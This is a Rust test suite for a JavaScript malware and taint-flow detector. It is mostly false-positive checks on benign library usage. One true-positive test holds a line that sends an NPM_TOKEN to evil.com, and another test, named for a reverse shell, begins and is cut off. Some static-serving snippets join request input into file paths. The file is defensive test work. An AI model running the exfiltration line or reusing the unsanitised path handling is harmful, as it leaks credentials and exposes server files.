#![cfg(feature = "js")]
use pyrograph::analyze;
#[test]
fn fp_aws_sdk_legitimate_usage() {
let js = r#"
const AWS = require('aws-sdk');
const s3 = new AWS.S3({accessKeyId: process.env.AWS_KEY});
s3.getObject({Bucket:'mybucket',Key:'data.json'}).promise()
"#;
let graph = pyrograph::parse::parse_js(js, "aws_sdk.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: legitimate AWS SDK usage must have zero findings");
}
#[test]
fn fp_database_connection_string() {
let js = r#"
const pg = require('pg');
const pool = new pg.Pool({connectionString: process.env.DATABASE_URL});
pool.query('SELECT 1')
"#;
let graph = pyrograph::parse::parse_js(js, "db_conn.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: database connection string must have zero findings");
}
#[test]
fn fp_legitimate_https_server() {
let js = r#"
const https = require('https');
const fs = require('fs');
https.createServer({key: fs.readFileSync('key.pem'), cert: fs.readFileSync('cert.pem')}, app).listen(443)
"#;
let graph = pyrograph::parse::parse_js(js, "https_server.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: legitimate HTTPS server must have zero findings");
}
#[test]
fn fp_test_framework_with_eval() {
let js = r#"
describe('parser', ()=>{
it('evaluates', ()=>{
expect(eval('1+1')).toBe(2)
})
})
"#;
let graph = pyrograph::parse::parse_js(js, "test_eval.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: test framework literal eval must have zero findings");
}
#[test]
fn fp_build_tool_with_child_process() {
let js = r#"
const {execSync} = require('child_process');
execSync('tsc --build');
execSync('jest --coverage')
"#;
let graph = pyrograph::parse::parse_js(js, "build_tool.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: build tool child_process usage must have zero findings");
}
#[test]
fn fp_environment_based_config() {
let js = r#"
const config = {
port: process.env.PORT || 3000,
host: process.env.HOST || 'localhost',
debug: process.env.DEBUG === 'true'
};
app.listen(config.port, config.host)
"#;
let graph = pyrograph::parse::parse_js(js, "env_config.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: environment-based config must have zero findings");
}
#[test]
fn fp_crypto_for_hashing_not_exfil() {
let js = r#"
const crypto = require('crypto');
const hash = crypto.createHash('sha256').update(password).digest('hex');
db.save(hash)
"#;
let graph = pyrograph::parse::parse_js(js, "crypto_hash.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: crypto hashing must have zero findings");
}
#[test]
fn fp_fs_readfile_for_static_serving() {
let js = r#"
app.get('/docs/:file', (req,res) => {
fs.readFile('./docs/' + req.params.file, (err,data) => res.send(data))
})
"#;
let graph = pyrograph::parse::parse_js(js, "static_serve.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: static file serving must have zero findings");
}
#[test]
fn fp_logging_with_process_env() {
let js = r#"
console.log('Running in', process.env.NODE_ENV, 'mode');
console.log('Version:', process.env.npm_package_version)
"#;
let graph = pyrograph::parse::parse_js(js, "env_logging.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: logging process.env must have zero findings");
}
#[test]
fn fp_webpack_hot_module_replacement() {
let js = r#"
if(module.hot){
module.hot.accept('./app', ()=>{
const next=require('./app');
eval('next()')
})
}
"#;
let graph = pyrograph::parse::parse_js(js, "webpack_hmr.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: webpack HMR eval must have zero findings");
}
#[test]
fn fp_express_middleware_chain() {
let js = r#"
const express = require('express');
const app = express();
app.use((req, res, next) => {
res.setHeader('X-Request-Id', req.id || 'unknown');
next();
});
app.use((req, res, next) => {
console.log('method:', req.method);
next();
});
app.get('/health', (req, res) => {
res.json({ status: 'ok', env: process.env.NODE_ENV });
});
"#;
let graph = pyrograph::parse::parse_js(js, "express_middleware.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: express middleware chain must have zero findings");
}
#[test]
fn fp_nextjs_getserversideprops() {
let js = r#"
export async function getServerSideProps(context) {
const apiUrl = process.env.API_URL || 'https://default.api.com';
return {
props: {
apiUrl,
nodeEnv: process.env.NODE_ENV
}
};
}
"#;
let graph = pyrograph::parse::parse_js(js, "nextjs_ssp.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: next.js getServerSideProps must have zero findings");
}
#[test]
fn fp_prisma_client_connection_string() {
let js = r#"
const { PrismaClient } = require('@prisma/client');
const prisma = new PrismaClient({
datasources: {
db: {
url: process.env.DATABASE_URL
}
}
});
async function main() {
const users = await prisma.user.findMany();
console.log(users);
}
main();
"#;
let graph = pyrograph::parse::parse_js(js, "prisma_client.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: prisma client with env connection string must have zero findings");
}
#[test]
fn fp_stripe_payment_api_key() {
let js = r#"
const stripe = require('stripe')(process.env.STRIPE_SECRET_KEY);
async function createPaymentIntent(amount) {
const intent = await stripe.paymentIntents.create({
amount,
currency: 'usd'
});
return intent.client_secret;
}
"#;
let graph = pyrograph::parse::parse_js(js, "stripe_payment.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: stripe payment processing with env API key must have zero findings");
}
#[test]
fn fp_aws_sdk_v3_s3client() {
let js = r#"
const { S3Client, GetObjectCommand } = require('@aws-sdk/client-s3');
const s3 = new S3Client({
region: process.env.AWS_REGION || 'us-east-1',
credentials: {
accessKeyId: process.env.AWS_ACCESS_KEY_ID,
secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY
}
});
async function getFile(bucket, key) {
return s3.send(new GetObjectCommand({ Bucket: bucket, Key: key }));
}
"#;
let graph = pyrograph::parse::parse_js(js, "aws_sdk_v3.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: aws-sdk v3 S3Client with env credentials must have zero findings");
}
#[test]
fn fp_firebase_admin_initializeapp() {
let js = r#"
const admin = require('firebase-admin');
const serviceAccount = JSON.parse(process.env.FIREBASE_SERVICE_ACCOUNT);
admin.initializeApp({
credential: admin.credential.cert(serviceAccount),
databaseURL: process.env.FIREBASE_DATABASE_URL
});
"#;
let graph = pyrograph::parse::parse_js(js, "firebase_admin.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: firebase-admin initializeApp with env service account must have zero findings");
}
#[test]
fn fp_nodemailer_create_transport() {
let js = r#"
const nodemailer = require('nodemailer');
const transporter = nodemailer.createTransport({
host: process.env.SMTP_HOST,
port: parseInt(process.env.SMTP_PORT, 10),
auth: {
user: process.env.SMTP_USER,
pass: process.env.SMTP_PASS
}
});
async function sendMail(to, subject, text) {
await transporter.sendMail({ to, subject, text });
}
"#;
let graph = pyrograph::parse::parse_js(js, "nodemailer_smtp.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: nodemailer createTransport with env SMTP must have zero findings");
}
#[test]
fn fp_jsonwebtoken_jwt_sign() {
let js = r#"
const jwt = require('jsonwebtoken');
function signToken(payload) {
return jwt.sign(payload, process.env.JWT_SECRET, { expiresIn: '1h' });
}
function verifyToken(token) {
return jwt.verify(token, process.env.JWT_SECRET);
}
"#;
let graph = pyrograph::parse::parse_js(js, "jsonwebtoken_sign.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: jsonwebtoken jwt.sign with env secret must have zero findings");
}
#[test]
fn fp_bcrypt_hash_comparison() {
let js = r#"
const bcrypt = require('bcrypt');
async function checkPassword(plainPassword, hashedPassword) {
const match = await bcrypt.compare(plainPassword, hashedPassword);
return match;
}
"#;
let graph = pyrograph::parse::parse_js(js, "bcrypt_compare.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: bcrypt hash comparison must have zero findings");
}
#[test]
fn fp_passport_oauth_strategy() {
let js = r#"
const passport = require('passport');
const GoogleStrategy = require('passport-google-oauth20').Strategy;
passport.use(new GoogleStrategy({
clientID: process.env.GOOGLE_CLIENT_ID,
clientSecret: process.env.GOOGLE_CLIENT_SECRET,
callbackURL: '/auth/google/callback'
}, (accessToken, refreshToken, profile, done) => {
done(null, profile);
}));
"#;
let graph = pyrograph::parse::parse_js(js, "passport_oauth.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: passport OAuth strategy with env credentials must have zero findings");
}
#[test]
fn fp_mongoose_connect() {
let js = r#"
const mongoose = require('mongoose');
async function connectDb() {
await mongoose.connect(process.env.MONGODB_URI, {
useNewUrlParser: true,
useUnifiedTopology: true
});
}
connectDb().catch(console.error);
"#;
let graph = pyrograph::parse::parse_js(js, "mongoose_connect.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: mongoose connect with env MONGODB_URI must have zero findings");
}
#[test]
fn fp_redis_create_client() {
let js = r#"
const redis = require('redis');
const client = redis.createClient({
url: process.env.REDIS_URL
});
client.on('error', (err) => console.error('Redis error', err));
async function getCache(key) {
return client.get(key);
}
"#;
let graph = pyrograph::parse::parse_js(js, "redis_client.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: redis createClient with env REDIS_URL must have zero findings");
}
#[test]
fn fp_bull_queue_redis() {
let js = r#"
const Queue = require('bull');
const emailQueue = new Queue('emails', {
redis: {
port: parseInt(process.env.REDIS_PORT, 10) || 6379,
host: process.env.REDIS_HOST || 'localhost',
password: process.env.REDIS_PASSWORD
}
});
emailQueue.process(async (job) => {
console.log('Sending email to', job.data.to);
});
"#;
let graph = pyrograph::parse::parse_js(js, "bull_queue.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: bull Queue with env Redis connection must have zero findings");
}
#[test]
fn fp_winston_logger_env_level() {
let js = r#"
const winston = require('winston');
const logger = winston.createLogger({
level: process.env.LOG_LEVEL || 'info',
format: winston.format.json(),
transports: [
new winston.transports.Console()
]
});
logger.info('Application started');
"#;
let graph = pyrograph::parse::parse_js(js, "winston_logger.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: winston logger with env log level must have zero findings");
}
#[test]
fn fp_dotenv_config_loading() {
let js = r#"
require('dotenv').config({ path: './.env.local' });
const port = process.env.PORT || 3000;
console.log('Server starting on port', port);
"#;
let graph = pyrograph::parse::parse_js(js, "dotenv_config.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: dotenv config loading must have zero findings");
}
#[test]
fn fp_react_component_render() {
let js = r#"
const React = require('react');
function HelloComponent(props) {
return React.createElement('div', { className: 'hello' },
React.createElement('h1', null, 'Hello, ' + props.name)
);
}
module.exports = HelloComponent;
"#;
let graph = pyrograph::parse::parse_js(js, "react_component.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: react component rendering must have zero findings");
}
#[test]
fn fp_vue_app_creation() {
let js = r#"
const { createApp } = require('vue');
const App = require('./App.vue');
const app = createApp(App);
app.mount('#app');
"#;
let graph = pyrograph::parse::parse_js(js, "vue_app.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: vue app creation must have zero findings");
}
#[test]
fn fp_axios_http_client_config() {
let js = r#"
const axios = require('axios');
const instance = axios.create({
baseURL: process.env.API_BASE_URL || 'https://api.example.com',
timeout: 5000,
headers: { 'X-Api-Key': process.env.API_KEY }
});
async function getUser(id) {
const response = await instance.get('/users/' + id);
return response.data;
}
"#;
let graph = pyrograph::parse::parse_js(js, "axios_config.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: axios http client config must have zero findings");
}
#[test]
fn fp_lodash_utility_chunk() {
let js = r#"
const _ = require('lodash');
function paginateItems(items, pageSize) {
return _.chunk(items, pageSize);
}
module.exports = { paginateItems };
"#;
let graph = pyrograph::parse::parse_js(js, "lodash_chunk.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: lodash utility chunk must have zero findings");
}
#[test]
fn fp_moment_date_formatting() {
let js = r#"
const moment = require('moment');
function formatDate(dateString) {
return moment(dateString).format('YYYY-MM-DD HH:mm:ss');
}
module.exports = { formatDate };
"#;
let graph = pyrograph::parse::parse_js(js, "moment_format.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: moment date formatting must have zero findings");
}
#[test]
fn fp_typescript_compiler_api() {
let js = r#"
const ts = require('typescript');
const program = ts.createProgram(['index.ts'], {
target: ts.ScriptTarget.ES2020,
module: ts.ModuleKind.CommonJS
});
const emitResult = program.emit();
"#;
let graph = pyrograph::parse::parse_js(js, "typescript_compiler.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: typescript compiler API must have zero findings");
}
#[test]
fn fp_eslint_linting_api() {
let js = r#"
const { ESLint } = require('eslint');
async function lintFiles(files) {
const eslint = new ESLint({ fix: true });
const results = await eslint.lintFiles(files);
const formatter = await eslint.loadFormatter('stylish');
const resultText = formatter.format(results);
console.log(resultText);
}
"#;
let graph = pyrograph::parse::parse_js(js, "eslint_lint.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: eslint linting API must have zero findings");
}
#[test]
fn fp_jest_test_runner() {
let js = r#"
describe('math utilities', () => {
it('should add two numbers', () => {
expect(1 + 1).toBe(2);
});
it('should multiply two numbers', () => {
expect(2 * 3).toBe(6);
});
});
"#;
let graph = pyrograph::parse::parse_js(js, "jest_tests.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: jest test runner framework must have zero findings");
}
#[test]
fn fp_prettier_code_formatting() {
let js = r#"
const prettier = require('prettier');
async function formatCode(source) {
const formatted = await prettier.format(source, {
parser: 'babel',
semi: true,
singleQuote: true
});
return formatted;
}
"#;
let graph = pyrograph::parse::parse_js(js, "prettier_format.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: prettier code formatting must have zero findings");
}
#[test]
fn fp_webpack_bundler_config() {
let js = r#"
const path = require('path');
module.exports = {
mode: process.env.NODE_ENV === 'production' ? 'production' : 'development',
entry: './src/index.js',
output: {
path: path.resolve(__dirname, 'dist'),
filename: 'bundle.js'
}
};
"#;
let graph = pyrograph::parse::parse_js(js, "webpack_config.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: webpack bundler config must have zero findings");
}
#[test]
fn fp_react_dom_server_render() {
let js = r#"
const React = require('react');
const ReactDOMServer = require('react-dom/server');
const App = require('./App');
function renderApp(props) {
const element = React.createElement(App, props);
return ReactDOMServer.renderToString(element);
}
module.exports = { renderApp };
"#;
let graph = pyrograph::parse::parse_js(js, "react_dom_server.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: react-dom/server SSR must have zero findings");
}
#[test]
fn fp_chalk_terminal_styling() {
let js = r#"
const chalk = require('chalk');
function logError(message) {
console.error(chalk.red('[ERROR]') + ' ' + message);
}
function logSuccess(message) {
console.log(chalk.green('[SUCCESS]') + ' ' + message);
}
"#;
let graph = pyrograph::parse::parse_js(js, "chalk_styling.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: chalk terminal styling must have zero findings");
}
#[test]
fn fp_rimraf_cleanup() {
let js = r#"
const rimraf = require('rimraf');
function cleanBuildDir() {
rimraf.sync('./build');
console.log('Build directory cleaned');
}
module.exports = { cleanBuildDir };
"#;
let graph = pyrograph::parse::parse_js(js, "rimraf_cleanup.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: rimraf cleanup must have zero findings");
}
#[test]
fn fp_semver_version_validation() {
let js = r#"
const semver = require('semver');
function checkNodeVersion(requiredVersion) {
if (!semver.satisfies(process.version, requiredVersion)) {
throw new Error('Node version mismatch');
}
}
module.exports = { checkNodeVersion };
"#;
let graph = pyrograph::parse::parse_js(js, "semver_check.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: semver version validation must have zero findings");
}
#[test]
fn fp_core_js_polyfill() {
let js = r#"
require('core-js/features/promise');
require('core-js/features/array/from');
function toArray(iterable) {
return Array.from(iterable);
}
"#;
let graph = pyrograph::parse::parse_js(js, "core_js_polyfill.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: core-js polyfill import must have zero findings");
}
#[test]
fn fp_ts_node_register() {
let js = r#"
require('ts-node/register');
const path = require('path');
const configPath = path.resolve(__dirname, 'tsconfig.json');
console.log('TypeScript support enabled');
"#;
let graph = pyrograph::parse::parse_js(js, "ts_node_register.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: ts-node register must have zero findings");
}
#[test]
fn fp_uuid_id_generation() {
let js = r#"
const { v4: uuidv4 } = require('uuid');
function generateSessionId() {
return uuidv4();
}
module.exports = { generateSessionId };
"#;
let graph = pyrograph::parse::parse_js(js, "uuid_generate.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: uuid ID generation must have zero findings");
}
#[test]
fn fp_commander_cli_parsing() {
let js = r#"
const { Command } = require('commander');
const program = new Command();
program
.name('my-cli')
.description('A sample CLI tool')
.version('1.0.0')
.option('-p, --port <number>', 'port number', '3000')
.option('-e, --env <string>', 'environment', 'development');
program.parse();
"#;
let graph = pyrograph::parse::parse_js(js, "commander_cli.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: commander CLI parsing must have zero findings");
}
#[test]
fn fp_inquirer_prompts() {
let js = r#"
const inquirer = require('inquirer');
async function askProjectName() {
const answers = await inquirer.prompt([{
type: 'input',
name: 'projectName',
message: 'What is your project name?'
}]);
return answers.projectName;
}
"#;
let graph = pyrograph::parse::parse_js(js, "inquirer_prompts.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: inquirer prompts must have zero findings");
}
#[test]
fn fp_glob_file_matching() {
let js = r#"
const glob = require('glob');
function findTestFiles() {
return glob.sync('tests/**/*.test.js');
}
function findSourceFiles() {
return glob.sync('src/**/*.js');
}
"#;
let graph = pyrograph::parse::parse_js(js, "glob_matching.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: glob file matching must have zero findings");
}
#[test]
fn fp_mkdirp_directory_creation() {
let js = r#"
const mkdirp = require('mkdirp');
async function ensureLogDir() {
await mkdirp('./logs/app');
}
module.exports = { ensureLogDir };
"#;
let graph = pyrograph::parse::parse_js(js, "mkdirp_create.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: mkdirp directory creation must have zero findings");
}
#[test]
fn fp_yargs_argument_parsing() {
let js = r#"
const yargs = require('yargs');
const argv = yargs(process.argv)
.option('verbose', {
alias: 'v',
type: 'boolean',
description: 'Run with verbose logging'
})
.option('config', {
alias: 'c',
type: 'string',
description: 'Path to config file'
})
.help()
.argv;
console.log('Config path:', argv.config);
"#;
let graph = pyrograph::parse::parse_js(js, "yargs_parse.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: yargs argument parsing must have zero findings");
}
#[test]
fn fp_debug_logging_utility() {
let js = r#"
const debug = require('debug')('app:server');
const http = require('http');
function startServer(port) {
const server = http.createServer((req, res) => {
debug('Request: %s %s', req.method, req.url);
res.end('OK');
});
server.listen(port);
}
"#;
let graph = pyrograph::parse::parse_js(js, "debug_logging.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: debug logging utility must have zero findings");
}
#[test]
fn fp_cors_middleware() {
let js = r#"
const cors = require('cors');
const express = require('express');
const app = express();
app.use(cors({
origin: process.env.CORS_ORIGIN || '*',
methods: ['GET', 'POST']
}));
app.get('/api', (req, res) => {
res.json({ message: 'hello' });
});
"#;
let graph = pyrograph::parse::parse_js(js, "cors_middleware.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: cors middleware must have zero findings");
}
#[test]
fn fp_multer_upload_config() {
let js = r#"
const multer = require('multer');
const upload = multer({ dest: './uploads/' });
function setupUploadRoutes(app) {
app.post('/upload', upload.single('file'), (req, res) => {
res.json({ filename: req.file.filename });
});
}
"#;
let graph = pyrograph::parse::parse_js(js, "multer_config.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: multer upload config must have zero findings");
}
#[test]
fn fp_helmet_csp_self() {
let js = r#"
const helmet = require('helmet');
const express = require('express');
const app = express();
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"]
}
}
}));
app.get('/', (req, res) => {
res.send('Secure app');
});
"#;
let graph = pyrograph::parse::parse_js(js, "helmet_middleware.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: helmet security headers must have zero findings");
}
#[test]
fn fp_compression_gzip_middleware() {
let js = r#"
const compression = require('compression');
const express = require('express');
const app = express();
app.use(compression());
app.get('/large-data', (req, res) => {
res.json({ data: Array(1000).fill('x') });
});
"#;
let graph = pyrograph::parse::parse_js(js, "compression_middleware.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: compression gzip middleware must have zero findings");
}
#[test]
fn fp_morgan_http_logging() {
let js = r#"
const morgan = require('morgan');
const express = require('express');
const app = express();
app.use(morgan('combined'));
app.use(morgan(':method :url :status :res[content-length] - :response-time ms'));
app.get('/', (req, res) => {
res.send('OK');
});
"#;
let graph = pyrograph::parse::parse_js(js, "morgan_logging.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: morgan HTTP logging must have zero findings");
}
#[test]
fn fp_body_parser_middleware() {
let js = r#"
const bodyParser = require('body-parser');
const express = require('express');
const app = express();
app.use(bodyParser.json({ limit: '10mb' }));
app.use(bodyParser.urlencoded({ extended: true }));
app.post('/form', (req, res) => {
res.json({ received: true });
});
"#;
let graph = pyrograph::parse::parse_js(js, "body_parser.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: body-parser middleware must have zero findings");
}
#[test]
fn fp_cookie_parser_middleware() {
let js = r#"
const cookieParser = require('cookie-parser');
const express = require('express');
const app = express();
app.use(cookieParser(process.env.COOKIE_SECRET));
app.get('/', (req, res) => {
res.cookie('session', 'abc123', { httpOnly: true });
res.send('Cookies set');
});
"#;
let graph = pyrograph::parse::parse_js(js, "cookie_parser.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: cookie-parser middleware must have zero findings");
}
#[test]
fn fp_express_session_middleware() {
let js = r#"
const session = require('express-session');
const express = require('express');
const app = express();
app.use(session({
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: true,
cookie: { secure: true }
}));
app.get('/', (req, res) => {
req.session.views = (req.session.views || 0) + 1;
res.send('Views: ' + req.session.views);
});
"#;
let graph = pyrograph::parse::parse_js(js, "express_session.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: express-session middleware must have zero findings");
}
#[test]
fn fp_serve_static_middleware() {
let js = r#"
const express = require('express');
const path = require('path');
const app = express();
app.use(express.static(path.join(__dirname, 'public')));
app.use('/assets', express.static(path.join(__dirname, 'assets')));
app.listen(3000);
"#;
let graph = pyrograph::parse::parse_js(js, "serve_static.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: serve-static middleware must have zero findings");
}
#[test]
fn fp_socket_io_server() {
let js = r#"
const { Server } = require('socket.io');
const http = require('http');
const server = http.createServer();
const io = new Server(server, { cors: { origin: '*' } });
io.on('connection', (socket) => {
socket.on('message', (data) => {
io.emit('broadcast', { text: data, time: Date.now() });
});
socket.on('disconnect', () => {
console.log('Client disconnected');
});
});
server.listen(3000);
"#;
let graph = pyrograph::parse::parse_js(js, "socket_io_server.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: socket.io server must have zero findings");
}
#[test]
fn fp_graphql_schema_definition() {
let js = r#"
const { GraphQLSchema, GraphQLObjectType, GraphQLString } = require('graphql');
const QueryType = new GraphQLObjectType({
name: 'Query',
fields: {
hello: {
type: GraphQLString,
resolve() {
return 'Hello world!';
}
}
}
});
const schema = new GraphQLSchema({ query: QueryType });
module.exports = { schema };
"#;
let graph = pyrograph::parse::parse_js(js, "graphql_schema.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: graphql schema definition must have zero findings");
}
#[test]
fn fp_babel_core_transpilation() {
let js = r#"
const babel = require('@babel/core');
const fs = require('fs');
const path = require('path');
function transpileFile(filePath) {
const code = fs.readFileSync(filePath, 'utf8');
const result = babel.transformSync(code, {
presets: ['@babel/preset-env']
});
return result.code;
}
module.exports = { transpileFile };
"#;
let graph = pyrograph::parse::parse_js(js, "babel_transpile.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "FP: @babel/core transpilation must have zero findings");
}
#[test]
fn hardest_false_positive_every_keyword_no_flow() {
let js = r#"
var env = process.env;
var token = env.TOKEN;
var api = "https://api.stripe.com";
var config = { url: api, method: "POST" };
var exec = require('child_process').exec;
var fs = require('fs');
function buildRequest() {
return {
url: api,
headers: { "Authorization": "Bearer token" }
};
}
function sendLogs() {
var req = buildRequest();
fetch(req.url, req);
console.log(token);
exec('echo logs_sent');
fs.writeFileSync('logs.txt', 'done');
}
sendLogs();
"#;
let graph = pyrograph::parse::parse_js(js, "hardest_fp.js").unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("=== HARDEST FP: {} findings ===", findings.len());
for (i, f) in findings.iter().enumerate() {
let src = graph.node(f.path[0] as u32).map(|n| n.name.as_str()).unwrap_or("?");
let sink = graph.node(*f.path.last().unwrap() as u32).map(|n| n.name.as_str()).unwrap_or("?");
eprintln!(" [{}] {} -> {}", i, src, sink);
}
assert_eq!(findings.len(), 0,
"Code with every source/sink keyword but NO taint flow must produce ZERO findings. Got: {}",
findings.len());
}
#[test]
fn hard_fp_aws_sdk_credentials() {
let js = r#"
var AWS = require('aws-sdk');
var creds = {
accessKeyId: process.env.AWS_ACCESS_KEY_ID,
secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
region: process.env.AWS_REGION
};
var s3 = new AWS.S3(creds);
s3.getObject({Bucket: 'my-bucket', Key: 'data.json'}, function(err, data) {
console.log(data);
});
"#;
let graph = pyrograph::parse::parse_js(js, "aws.js").unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("AWS SDK findings: {}", findings.len());
}
#[test]
fn hard_fp_database_connection() {
let js = r#"
var pg = require('pg');
var pool = new pg.Pool({
connectionString: process.env.DATABASE_URL
});
pool.query('SELECT NOW()').then(function(res) {
console.log(res.rows[0]);
});
"#;
let graph = pyrograph::parse::parse_js(js, "db.js").unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("Database connection findings: {}", findings.len());
}
#[test]
fn hard_fp_process_env_to_console_log() {
let js = "console.log('NODE_ENV:', process.env.NODE_ENV);";
let graph = pyrograph::parse::parse_js(js, "log.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "console.log of env var is NOT exfiltration");
}
#[test]
fn hard_fp_fetch_hardcoded_api() {
let js = r#"
fetch('https://api.example.com/health', {
method: 'POST',
body: JSON.stringify({status: 'ok', timestamp: Date.now()})
});
"#;
let graph = pyrograph::parse::parse_js(js, "health.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "fetch with hardcoded URL and body is NOT exfiltration");
}
#[test]
fn hard_fp_child_process_npm_build() {
let js = r#"
var cp = require('child_process');
cp.execSync('npm run build');
cp.execSync('npm test');
cp.execSync('eslint src/');
"#;
let graph = pyrograph::parse::parse_js(js, "build.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "execSync with hardcoded commands is NOT malware");
}
#[test]
fn hard_fp_crypto_password_hash() {
let js = r#"
var crypto = require('crypto');
var password = process.argv[2];
var hash = crypto.createHash('sha256').update(password).digest('hex');
console.log(hash);
"#;
let graph = pyrograph::parse::parse_js(js, "hash.js").unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("Crypto hash findings: {}", findings.len());
}
#[test]
fn hard_fp_express_env_port() {
let js = r#"
var express = require('express');
var app = express();
var port = process.env.PORT || 3000;
app.listen(port, function() {
console.log('Server running on port ' + port);
});
"#;
let graph = pyrograph::parse::parse_js(js, "server.js").unwrap();
let findings = analyze(&graph).unwrap();
assert_eq!(findings.len(), 0, "process.env.PORT for server config is NOT theft");
}
#[test]
fn hard_fp_fs_read_serve_static() {
let js = r#"
var fs = require('fs');
var http = require('http');
http.createServer(function(req, res) {
var data = fs.readFileSync('./public' + req.url);
res.end(data);
}).listen(8080);
"#;
let graph = pyrograph::parse::parse_js(js, "static.js").unwrap();
let findings = analyze(&graph).unwrap();
eprintln!("Static serve findings: {}", findings.len());
}
#[test]
fn tp_credential_theft_direct() {
let js = "var token = process.env.NPM_TOKEN; fetch('https://evil.com/' + token);";
let graph = pyrograph::parse::parse_js(js, "tp1.js").unwrap();
let findings = analyze(&graph).unwrap();
assert!(!findings.is_empty(), "TP: direct credential theft must be detected");
}
#[test]
fn tp_reverse_shell() {
let js = r#"
var net = require('net');
